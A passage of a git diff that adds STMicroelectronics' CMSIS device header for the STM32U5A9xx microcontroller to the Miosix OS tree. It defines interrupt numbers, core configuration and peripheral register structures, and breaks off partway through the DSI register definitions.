MDF1_Filter4_NS) || ((INSTANCE) == MDF1_Filter4_S) || \ + ((INSTANCE) == MDF1_Filter5_NS) || ((INSTANCE) == MDF1_Filter5_S) || \ + ((INSTANCE) == ADF1_Filter0_NS) || ((INSTANCE) == ADF1_Filter0_S)) + + +/** @} */ /* End of group STM32U5xx_Peripheral_Exported_macros */ + +/** @} */ /* End of group STM32U5A5xx */ + +/** @} */ /* End of group ST */ + +#ifdef __cplusplus +} +#endif + +#endif /* STM32U5A5xx_H */ + diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u5a9xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u5a9xx.h new file mode 100644 index 000000000..1bdd0a0d6 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u5a9xx.h @@ -0,0 +1,30410 @@ +/** + ****************************************************************************** + * @file stm32u5a9xx.h + * @author MCD Application Team + * @brief CMSIS STM32U5A9xx Device Peripheral Access Layer Header File. + * + * This file contains: + * - Data structures and the address mapping for all peripherals + * - Peripheral's registers declarations and bits definition + * - Macros to access peripheral's registers hardware + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2022 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +#ifndef STM32U5A9xx_H +#define STM32U5A9xx_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @addtogroup ST + * @{ + */ + + +/** @addtogroup STM32U5A9xx + * @{ + */ + + +/** @addtogroup Configuration_of_CMSIS + * @{ + */ + + +/* =========================================================================================================================== */ +/* ================ Interrupt Number Definition ================ */ +/* =========================================================================================================================== */ + +typedef enum +{ +/* ======================================= ARM Cortex-M33 Specific Interrupt Numbers ======================================= */ + Reset_IRQn = -15, /*!< -15 Reset Vector, invoked on Power up and warm reset */ + NonMaskableInt_IRQn = -14, /*!< -14 Non maskable Interrupt, cannot be stopped or preempted */ + HardFault_IRQn = -13, /*!< -13 Hard Fault, all classes of Fault */ + MemoryManagement_IRQn = -12, /*!< -12 Memory Management, MPU mismatch, including Access Violation + and No Match */ + BusFault_IRQn = -11, /*!< -11 Bus Fault, Pre-Fetch-, Memory Access Fault, other address/memory + related Fault */ + UsageFault_IRQn = -10, /*!< -10 Usage Fault, i.e. Undef Instruction, Illegal State Transition */ + SecureFault_IRQn = -9, /*!< -9 Secure Fault */ + SVCall_IRQn = -5, /*!< -5 System Service Call via SVC instruction */ + DebugMonitor_IRQn = -4, /*!< -4 Debug Monitor */ + PendSV_IRQn = -2, /*!< -2 Pendable request for system service */ + SysTick_IRQn = -1, /*!< -1 System Tick Timer */ + +/* =========================================== STM32U5A9xx Specific Interrupt Numbers ================================= */ + WWDG_IRQn = 0, /*!< Window WatchDog interrupt */ + PVD_PVM_IRQn = 1, /*!< PVD/PVM through EXTI Line detection Interrupt */ + RTC_IRQn = 2, /*!< RTC non-secure interrupt */ + RTC_S_IRQn = 3, /*!< RTC secure interrupt */ + TAMP_IRQn = 4, /*!< Tamper global interrupt */ + RAMCFG_IRQn = 5, /*!< RAMCFG global interrupt */ + FLASH_IRQn = 6, /*!< FLASH non-secure global interrupt */ + FLASH_S_IRQn = 7, /*!< FLASH secure global interrupt */ + GTZC_IRQn = 8, /*!< Global TrustZone Controller interrupt */ + RCC_IRQn = 9, /*!< RCC non secure global interrupt */ + RCC_S_IRQn = 10, /*!< RCC secure global interrupt */ + EXTI0_IRQn = 11, /*!< EXTI Line0 interrupt */ + EXTI1_IRQn = 12, /*!< EXTI Line1 interrupt */ + EXTI2_IRQn = 13, /*!< EXTI Line2 interrupt */ + EXTI3_IRQn = 14, /*!< EXTI Line3 interrupt */ + EXTI4_IRQn = 15, /*!< EXTI Line4 interrupt */ + EXTI5_IRQn = 16, /*!< EXTI Line5 interrupt */ + EXTI6_IRQn = 17, /*!< EXTI Line6 interrupt */ + EXTI7_IRQn = 18, /*!< EXTI Line7 interrupt */ + EXTI8_IRQn = 19, /*!< EXTI Line8 interrupt */ + EXTI9_IRQn = 20, /*!< EXTI Line9 interrupt */ + EXTI10_IRQn = 21, /*!< EXTI Line10 interrupt */ + EXTI11_IRQn = 22, /*!< EXTI Line11 interrupt */ + EXTI12_IRQn = 23, /*!< EXTI Line12 interrupt */ + EXTI13_IRQn = 24, /*!< EXTI Line13 interrupt */ + EXTI14_IRQn = 25, /*!< EXTI Line14 interrupt */ + EXTI15_IRQn = 26, /*!< EXTI Line15 interrupt */ + IWDG_IRQn = 27, /*!< IWDG global interrupt */ + SAES_IRQn = 28, /*!< Secure AES global interrupt */ + GPDMA1_Channel0_IRQn = 29, /*!< GPDMA1 Channel 0 global interrupt */ + GPDMA1_Channel1_IRQn = 30, /*!< GPDMA1 Channel 1 global interrupt */ + GPDMA1_Channel2_IRQn = 31, /*!< GPDMA1 Channel 2 global interrupt */ + GPDMA1_Channel3_IRQn = 32, /*!< GPDMA1 Channel 3 global interrupt */ + GPDMA1_Channel4_IRQn = 33, /*!< GPDMA1 Channel 4 global interrupt */ + GPDMA1_Channel5_IRQn = 34, /*!< GPDMA1 Channel 5 global interrupt */ + GPDMA1_Channel6_IRQn = 35, /*!< GPDMA1 Channel 6 global interrupt */ + GPDMA1_Channel7_IRQn = 36, /*!< GPDMA1 Channel 7 global interrupt */ + ADC1_2_IRQn = 37, /*!< ADC1_2 global interrupt */ + DAC1_IRQn = 38, /*!< DAC1 global interrupt */ + FDCAN1_IT0_IRQn = 39, /*!< FDCAN1 interrupt 0 */ + FDCAN1_IT1_IRQn = 40, /*!< FDCAN1 interrupt 1 */ + TIM1_BRK_IRQn = 41, /*!< TIM1 Break interrupt */ + TIM1_UP_IRQn = 42, /*!< TIM1 Update interrupt */ + TIM1_TRG_COM_IRQn = 43, /*!< TIM1 Trigger and Commutation interrupt */ + TIM1_CC_IRQn = 44, /*!< TIM1 Capture Compare interrupt */ + TIM2_IRQn = 45, /*!< TIM2 global interrupt */ + TIM3_IRQn = 46, /*!< TIM3 global interrupt */ + TIM4_IRQn = 47, /*!< TIM4 global interrupt */ + TIM5_IRQn = 48, /*!< TIM5 global interrupt */ + TIM6_IRQn = 49, /*!< TIM6 global interrupt */ + TIM7_IRQn = 50, /*!< TIM7 global interrupt */ + TIM8_BRK_IRQn = 51, /*!< TIM8 Break interrupt */ + TIM8_UP_IRQn = 52, /*!< TIM8 Update interrupt */ + TIM8_TRG_COM_IRQn = 53, /*!< TIM8 Trigger and Commutation interrupt */ + TIM8_CC_IRQn = 54, /*!< TIM8 Capture Compare interrupt */ + I2C1_EV_IRQn = 55, /*!< I2C1 Event interrupt */ + I2C1_ER_IRQn = 56, /*!< I2C1 Error interrupt */ + I2C2_EV_IRQn = 57, /*!< I2C2 Event interrupt */ + I2C2_ER_IRQn = 58, /*!< I2C2 Error interrupt */ + SPI1_IRQn = 59, /*!< SPI1 global interrupt */ + SPI2_IRQn = 60, /*!< SPI2 global interrupt */ + USART1_IRQn = 61, /*!< USART1 global interrupt */ + USART2_IRQn = 62, /*!< USART2 global interrupt */ + USART3_IRQn = 63, /*!< USART3 global interrupt */ + UART4_IRQn = 64, /*!< UART4 global interrupt */ + UART5_IRQn = 65, /*!< UART5 global interrupt */ + LPUART1_IRQn = 66, /*!< LPUART1 global interrupt */ + LPTIM1_IRQn = 67, /*!< LPTIM1 global interrupt */ + LPTIM2_IRQn = 68, /*!< LPTIM2 global interrupt */ + TIM15_IRQn = 69, /*!< TIM15 global interrupt */ + TIM16_IRQn = 70, /*!< TIM16 global interrupt */ + TIM17_IRQn = 71, /*!< TIM17 global interrupt */ + COMP_IRQn = 72, /*!< COMP1 and COMP2 through EXTI Lines interrupts */ + OTG_HS_IRQn = 73, /*!< USB OTG HS global interrupt */ + CRS_IRQn = 74, /*!< CRS global interrupt */ + FMC_IRQn = 75, /*!< FSMC global interrupt */ + OCTOSPI1_IRQn = 76, /*!< OctoSPI1 global interrupt */ + PWR_S3WU_IRQn = 77, /*!< PWR wake up from Stop3 interrupt */ + SDMMC1_IRQn = 78, /*!< SDMMC1 global interrupt */ + SDMMC2_IRQn = 79, /*!< SDMMC2 global interrupt */ + GPDMA1_Channel8_IRQn = 80, /*!< GPDMA1 Channel 8 global interrupt */ + GPDMA1_Channel9_IRQn = 81, /*!< GPDMA1 Channel 9 global interrupt */ + GPDMA1_Channel10_IRQn = 82, /*!< GPDMA1 Channel 10 global interrupt */ + GPDMA1_Channel11_IRQn = 83, /*!< GPDMA1 Channel 11 global interrupt */ + GPDMA1_Channel12_IRQn = 84, /*!< GPDMA1 Channel 12 global interrupt */ + GPDMA1_Channel13_IRQn = 85, /*!< GPDMA1 Channel 13 global interrupt */ + GPDMA1_Channel14_IRQn = 86, /*!< GPDMA1 Channel 14 global interrupt */ + GPDMA1_Channel15_IRQn = 87, /*!< GPDMA1 Channel 15 global interrupt */ + I2C3_EV_IRQn = 88, /*!< I2C3 event interrupt */ + I2C3_ER_IRQn = 89, /*!< I2C3 error interrupt */ + SAI1_IRQn = 90, /*!< Serial Audio Interface 1 global interrupt */ + SAI2_IRQn = 91, /*!< Serial Audio Interface 2 global interrupt */ + TSC_IRQn = 92, /*!< Touch Sense Controller global interrupt */ + AES_IRQn = 93, /*!< AES global interrupt */ + RNG_IRQn = 94, /*!< RNG global interrupt */ + FPU_IRQn = 95, /*!< FPU global interrupt */ + HASH_IRQn = 96, /*!< HASH global interrupt */ + PKA_IRQn = 97, /*!< PKA global interrupt */ + LPTIM3_IRQn = 98, /*!< LPTIM3 global interrupt */ + SPI3_IRQn = 99, /*!< SPI3 global interrupt */ + I2C4_ER_IRQn = 100, /*!< I2C4 Error interrupt */ + I2C4_EV_IRQn = 101, /*!< I2C4 Event interrupt */ + MDF1_FLT0_IRQn = 102, /*!< MDF1 Filter 0 global interrupt */ + MDF1_FLT1_IRQn = 103, /*!< MDF1 Filter 1 global interrupt */ + MDF1_FLT2_IRQn = 104, /*!< MDF1 Filter 2 global interrupt */ + MDF1_FLT3_IRQn = 105, /*!< MDF1 Filter 3 global interrupt */ + UCPD1_IRQn = 106, /*!< UCPD1 global interrupt */ + ICACHE_IRQn = 107, /*!< Instruction cache global interrupt */ + OTFDEC1_IRQn = 108, /*!< OTFDEC1 global interrupt */ + OTFDEC2_IRQn = 109, /*!< OTFDEC2 global interrupt */ + LPTIM4_IRQn = 110, /*!< LPTIM4 global interrupt */ + DCACHE1_IRQn = 111, /*!< Data cache global interrupt */ + ADF1_IRQn = 112, /*!< ADF interrupt */ + ADC4_IRQn = 113, /*!< ADC4 (12bits) global interrupt */ + LPDMA1_Channel0_IRQn = 114, /*!< LPDMA1 SmartRun Channel 0 global interrupt */ + LPDMA1_Channel1_IRQn = 115, /*!< LPDMA1 SmartRun Channel 1 global interrupt */ + LPDMA1_Channel2_IRQn = 116, /*!< LPDMA1 SmartRun Channel 2 global interrupt */ + LPDMA1_Channel3_IRQn = 117, /*!< LPDMA1 SmartRun Channel 3 global interrupt */ + DMA2D_IRQn = 118, /*!< DMA2D global interrupt */ + DCMI_PSSI_IRQn = 119, /*!< DCMI/PSSI global interrupt */ + OCTOSPI2_IRQn = 120, /*!< OCTOSPI2 global interrupt */ + MDF1_FLT4_IRQn = 121, /*!< MDF1 Filter 4 global interrupt */ + MDF1_FLT5_IRQn = 122, /*!< MDF1 Filter 5 global interrupt */ + CORDIC_IRQn = 123, /*!< CORDIC global interrupt */ + FMAC_IRQn = 124, /*!< FMAC global interrupt */ + LSECSSD_IRQn = 125, /*!< LSECSSD and MSI_PLL_UNLOCK global interrupts */ + USART6_IRQn = 126, /*!< USART6 global interrupt */ + I2C5_ER_IRQn = 127, /*!< I2C5 Error interrupt */ + I2C5_EV_IRQn = 128, /*!< I2C5 Event interrupt */ + I2C6_ER_IRQn = 129, /*!< I2C6 Error interrupt */ + I2C6_EV_IRQn = 130, /*!< I2C6 Error interrupt */ + HSPI1_IRQn = 131, /*!< HSPI1 global interrupt */ + GPU2D_IRQn = 132, /*!< GPU2D global interrupt */ + GPU2D_ER_IRQn = 133, /*!< GPU2D Error interrupt */ + GFXMMU_IRQn = 134, /*!< GFXMMU global interrupt */ + LTDC_IRQn = 135, /*!< LCD-TFT global interrupt */ + LTDC_ER_IRQn = 136, /*!< LCD-TFT Error interrupt */ + DSI_IRQn = 137, /*!< DSIHOST global interrupt */ + DCACHE2_IRQn = 138, /*!< DCACHE2 Data cache global interrupt */ +} IRQn_Type; + +/* =========================================================================================================================== */ +/* ================ Processor and Core Peripheral Section ================ */ +/* =========================================================================================================================== */ + +/* ------- Start of section using anonymous unions and disabling warnings ------- */ +#if defined (__CC_ARM) + #pragma push + #pragma anon_unions +#elif defined (__ICCARM__) + #pragma language=extended +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32u5xx.h" /*!< STM32U5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ + __IO uint32_t AUTOCR; +} I2C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + +/** + * @brief AES hardware accelerator + */ +typedef struct +{ + __IO uint32_t CR; /*!< AES control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< AES status register, Address offset: 0x04 */ + __IO uint32_t DINR; /*!< AES data input register, Address offset: 0x08 */ + __IO uint32_t DOUTR; /*!< AES data output register, Address offset: 0x0C */ + __IO uint32_t KEYR0; /*!< AES key register 0, Address offset: 0x10 */ + __IO uint32_t KEYR1; /*!< AES key register 1, Address offset: 0x14 */ + __IO uint32_t KEYR2; /*!< AES key register 2, Address offset: 0x18 */ + __IO uint32_t KEYR3; /*!< AES key register 3, Address offset: 0x1C */ + __IO uint32_t IVR0; /*!< AES initialization vector register 0, Address offset: 0x20 */ + __IO uint32_t IVR1; /*!< AES initialization vector register 1, Address offset: 0x24 */ + __IO uint32_t IVR2; /*!< AES initialization vector register 2, Address offset: 0x28 */ + __IO uint32_t IVR3; /*!< AES initialization vector register 3, Address offset: 0x2C */ + __IO uint32_t KEYR4; /*!< AES key register 4, Address offset: 0x30 */ + __IO uint32_t KEYR5; /*!< AES key register 5, Address offset: 0x34 */ + __IO uint32_t KEYR6; /*!< AES key register 6, Address offset: 0x38 */ + __IO uint32_t KEYR7; /*!< AES key register 7, Address offset: 0x3C */ + __IO uint32_t SUSP0R; /*!< AES Suspend register 0, Address offset: 0x40 */ + __IO uint32_t SUSP1R; /*!< AES Suspend register 1, Address offset: 0x44 */ + __IO uint32_t SUSP2R; /*!< AES Suspend register 2, Address offset: 0x48 */ + __IO uint32_t SUSP3R; /*!< AES Suspend register 3, Address offset: 0x4C */ + __IO uint32_t SUSP4R; /*!< AES Suspend register 4, Address offset: 0x50 */ + __IO uint32_t SUSP5R; /*!< AES Suspend register 5, Address offset: 0x54 */ + __IO uint32_t SUSP6R; /*!< AES Suspend register 6, Address offset: 0x58 */ + __IO uint32_t SUSP7R; /*!< AES Suspend register 7, Address offset: 0x5C */ + uint32_t RESERVED1[168];/*!< Reserved, Address offset: 0x60 -- 0x2FC */ + __IO uint32_t IER; /*!< AES Interrupt Enable Register, Address offset: 0x300 */ + __IO uint32_t ISR; /*!< AES Interrupt Status Register, Address offset: 0x304 */ + __IO uint32_t ICR; /*!< AES Interrupt Clear Register, Address offset: 0x308 */ +} AES_TypeDef; + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[54]; /*!< HASH context swap registers, Address offset: 0x0F8-0x1CC */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[8]; /*!< HASH digest registers, Address offset: 0x310-0x32C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2];/*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, 0x24 */ + __IO uint32_t AHB3FZR; /*!< Debug MCU AHB3 freeze register, Address offset: 0x28 */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + +/** + * @brief DMA2D Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< DMA2D Control Register, Address offset: 0x00 */ + __IO uint32_t ISR; /*!< DMA2D Interrupt Status Register, Address offset: 0x04 */ + __IO uint32_t IFCR; /*!< DMA2D Interrupt Flag Clear Register, Address offset: 0x08 */ + __IO uint32_t FGMAR; /*!< DMA2D Foreground Memory Address Register, Address offset: 0x0C */ + __IO uint32_t FGOR; /*!< DMA2D Foreground Offset Register, Address offset: 0x10 */ + __IO uint32_t BGMAR; /*!< DMA2D Background Memory Address Register, Address offset: 0x14 */ + __IO uint32_t BGOR; /*!< DMA2D Background Offset Register, Address offset: 0x18 */ + __IO uint32_t FGPFCCR; /*!< DMA2D Foreground PFC Control Register, Address offset: 0x1C */ + __IO uint32_t FGCOLR; /*!< DMA2D Foreground Color Register, Address offset: 0x20 */ + __IO uint32_t BGPFCCR; /*!< DMA2D Background PFC Control Register, Address offset: 0x24 */ + __IO uint32_t BGCOLR; /*!< DMA2D Background Color Register, Address offset: 0x28 */ + __IO uint32_t FGCMAR; /*!< DMA2D Foreground CLUT Memory Address Register, Address offset: 0x2C */ + __IO uint32_t BGCMAR; /*!< DMA2D Background CLUT Memory Address Register, Address offset: 0x30 */ + __IO uint32_t OPFCCR; /*!< DMA2D Output PFC Control Register, Address offset: 0x34 */ + __IO uint32_t OCOLR; /*!< DMA2D Output Color Register, Address offset: 0x38 */ + __IO uint32_t OMAR; /*!< DMA2D Output Memory Address Register, Address offset: 0x3C */ + __IO uint32_t OOR; /*!< DMA2D Output Offset Register, Address offset: 0x40 */ + __IO uint32_t NLR; /*!< DMA2D Number of Line Register, Address offset: 0x44 */ + __IO uint32_t LWR; /*!< DMA2D Line Watermark Register, Address offset: 0x48 */ + __IO uint32_t AMTCR; /*!< DMA2D AHB Master Timer Configuration Register, Address offset: 0x4C */ + uint32_t RESERVED[236]; /*!< Reserved, 0x50-0x3FC */ + __IO uint32_t FGCLUT[256]; /*!< DMA2D Foreground CLUT, Address offset:400-7FC */ + __IO uint32_t BGCLUT[256]; /*!< DMA2D Background CLUT, Address offset:800-BFC */ +} DMA2D_TypeDef; + +/** + * @brief DSI Controller + */ +typedef struct +{ + __IO uint32_t VR; /*!< DSI Host Version Register, Address offset: 0x00 */ + __IO uint32_t CR; /*!< DSI Host Control Register, Address offset: 0x04 */ + __IO uint32_t CCR; /*!< DSI HOST Clock Control Register, Address offset: 0x08 */ + __IO uint32_t LVCIDR; /*!< DSI Host LTDC VCID Register, Address offset: 0x0C */ + __IO uint32_t LCOLCR; /*!< DSI Host LTDC Color Coding Register, Address offset: 0x10 */ + __IO uint32_t LPCR; /*!< DSI Host LTDC Polarity Configuration Register, Address offset: 0x14 */ + __IO uint32_t LPMCR; /*!< DSI Host Low-Power Mode Configuration Register, Address offset: 0x18 */ + uint32_t RESERVED0[4]; /*!< Reserved, 0x1C - 0x2B */ + __IO uint32_t PCR; /*!< DSI Host Protocol Configuration Register, Address offset: 0x2C */ + __IO uint32_t GVCIDR; /*!< DSI Host Generic VCID Register, Address offset: 0x30 */ + __IO uint32_t MCR; /*!< DSI Host Mode Configuration Register, Address offset: 0x34 */ + __IO uint32_t VMCR; /*!< DSI Host Video Mode Configuration Register, Address offset: 0x38 */ + __IO uint32_t VPCR; /*!< DSI Host Video Packet Configuration Register, Address offset: 0x3C */ + __IO uint32_t VCCR; /*!< DSI Host Video Chunks Configuration Register, Address offset: 0x40 */ + __IO uint32_t VNPCR; /*!< DSI Host Video Null Packet Configuration Register, Address offset: 0x44 */ + __IO uint32_t VHSACR; /*!< DSI Host Video HSA Configuration Register, Address offset: 0x48 */ + __IO uint32_t VHBPCR; /*!< DSI Host Video HBP Configuration Register, Address offset: 0x4C */ + __IO uint32_t VLCR; /*!< DSI Host Video Line Configuration Register, Address offset: 0x50 */ + __IO uint32_t VVSACR; /*!< DSI Host Video VSA Configuration Register, Address offset: 0x54 */ + __IO uint32_t VVBPCR; /*!< DSI Host Video VBP Configuration Register, Address offset: 0x58 */ + __IO uint32_t VVFPCR; /*!< DSI Host Video VFP Configuration 